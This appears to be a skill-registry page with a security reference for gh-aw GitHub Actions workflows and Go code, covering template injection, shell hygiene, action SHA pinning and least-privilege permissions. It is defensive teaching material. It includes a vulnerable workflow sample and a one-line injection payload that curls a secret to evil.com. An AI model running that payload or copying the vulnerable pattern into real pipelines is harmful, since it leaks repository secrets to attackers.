Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-01 | ✗→✓ | ▲ Improved | 84% | 0% |
| case-06 | ✗→✓ | ▲ Improved | 153% | 0% |
| case-11 | ✗→✓ | ▲ Improved | 115% | 0% |
| case-13 | ✗→✓ | ▲ Improved | 67% | 0% |
| case-18 | ✗→✓ | ▲ Improved | 80% | 0% |
Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.
Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.
GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.
yaml# VULNERABLE: Direct use of untrusted input name: Process Issue on: issues: types: [opened] jobs: process: runs-on: ubuntu-latest steps: - name: Echo issue title run: echo "${{ github.event.issue.title }}"
Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "
yaml# SECURE: Use environment variables name: Process Issue on: issues: types: [opened] jobs: process: runs-on: ubuntu-latest steps: - name: Echo issue title env: ISSUE_TITLE: ${{ github.event.issue.title }} run: echo "$ISSUE_TITLE"
Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.
mermaidgraph TB subgraph "Unsafe Pattern" A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"] B1 --> C1[Direct Interpolation<br/>into Shell Command] C1 --> D1[Code Execution Risk] style D1 fill:#f88,stroke:#f00 end subgraph "Safe Pattern" A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"] B2 --> C2[Environment Variable<br/>Assignment] C2 --> D2[Shell Receives<br/>Data Only] D2 --> E2[No Code Execution] style E2 fill:#8f8,stroke:#0f0 end
Template injection vulnerabilities were identified and fixed in:
copilot-session-insights.md - Step output passed through environment variableSee scratchpad/template-injection-prevention.md for detailed analysis and fix documentation.
yaml# SECURE: Use sanitized context output Analyze this content: "${{ steps.sanitized.outputs.text }}"
The steps.sanitized.outputs.text output is automatically sanitized:
Always safe to use in expressions:
github.actorgithub.repositorygithub.run_idgithub.run_numbergithub.shaNever safe in expressions without environment variable indirection:
github.event.issue.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.pull_request.titlegithub.event.pull_request.bodygithub.head_ref (can be controlled by PR authors)When Go code generates GitHub Actions if: expressions, nested event fields must be guarded by trigger checks across all declared workflow triggers.
GitHub Actions expression evaluation can fail before any jobs run when an expression accesses an object graph that does not exist for the active trigger (for example github.event.pull_request.* on push, workflow_dispatch, or schedule).
go// VULNERABLE: pull_request-only fields referenced unconditionally condition := fmt.Sprintf( "github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d", minPos, maxPos, )
Why vulnerable: On non-PR triggers, github.event.pull_request is absent. Property access or arithmetic on absent nested fields can cause expression evaluation failure (startup_failure) before workflow error handling can run.
go// SECURE: gate nested pull_request fields behind explicit trigger and null checks condition := fmt.Sprintf( "github.event_name == 'pull_request' && github.event.pull_request != null && github.event.pull_request.stack != null && github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d", minPos, maxPos, )
github.event.pull_request.*, github.event.issue.*, etc.) with github.event_name checks.A && B && C) where early terms validate event type/object existence before nested access.pkg/workflow/*filter*.go (or equivalent) that assert safe conditions for mixed-trigger workflows.Insecure:
yamlsteps: - name: Process files run: | FILES=$(ls *.txt) for file in $FILES; do echo $file done
Why vulnerable: Variables can be split on whitespace, glob patterns are expanded, potential command injection.
Secure:
yamlsteps: - name: Process files run: | while IFS= read -r file; do echo "$file" done < <(find . -name "*.txt")
"$VAR"[[ ]] instead of [ ] for conditionals$() instead of backticks for command substitutionset -euo pipefailExample secure script:
yamlsteps: - name: Secure script env: INPUT_VALUE: ${{ github.event.inputs.value }} run: | set -euo pipefail if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then echo "Invalid input format" exit 1 fi echo "Processing: $INPUT_VALUE" result=$(grep -r "$INPUT_VALUE" . || true) echo "$result"
Supply chain attacks target dependencies in CI/CD pipelines.
Insecure:
yamlsteps: - uses: actions/checkout@v5 # Tag can be moved - uses: actions/setup-node@main # Branch can be updated
Why vulnerable: Tags can be deleted and recreated, branches can be force-pushed, repository ownership can change.
Secure:
yamlsteps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
Why secure: SHA commits are immutable. Comments indicate human-readable version for updates.
bash# Get SHA for a specific tag git ls-remote https://github.com/actions/checkout v4.1.1 # Or use GitHub API curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1
Insecure:
yamlname: CI on: [push] permissions: write-all
Secure:
yamlname: CI on: [push] permissions: contents: read jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@sha - run: npm test
yamlname: CI/CD on: [push] permissions: contents: read jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@sha - run: npm test deploy: needs: test runs-on: ubuntu-latest permissions: contents: read deployments: write steps: - uses: actions/checkout@sha - run: npm run deploy
| Permission | Read | Write | Use Case | |------------|------|-------|----------| | contents | Read code | Push code | Repository access | | issues | Read issues | Create/edit issues | Issue management | | pull-requests | Read PRs | Create/edit PRs | PR management | | actions | Read runs | Cancel runs | Workflow management | | checks | Read checks | Create checks | Status checks | | deployments | Read deployments | Create deployments | Deployment management |
Integrate static analysis tools into development and CI/CD workflows:
bash# Run individual scanners actionlint .github/workflows/*.yml zizmor .github/workflows/ poutine analyze .github/workflows/ # For gh-aw workflows gh aw compile --actionlint gh aw compile --zizmor gh aw compile --poutine # Strict mode: fail on findings gh aw compile --strict --actionlint --zizmor --poutine
${{ }} expressionssteps.sanitized.outputs.text)"$VAR"set -euo pipefailwrite-all permissionsOther measured skills in the registry, with their headline benchmark lift.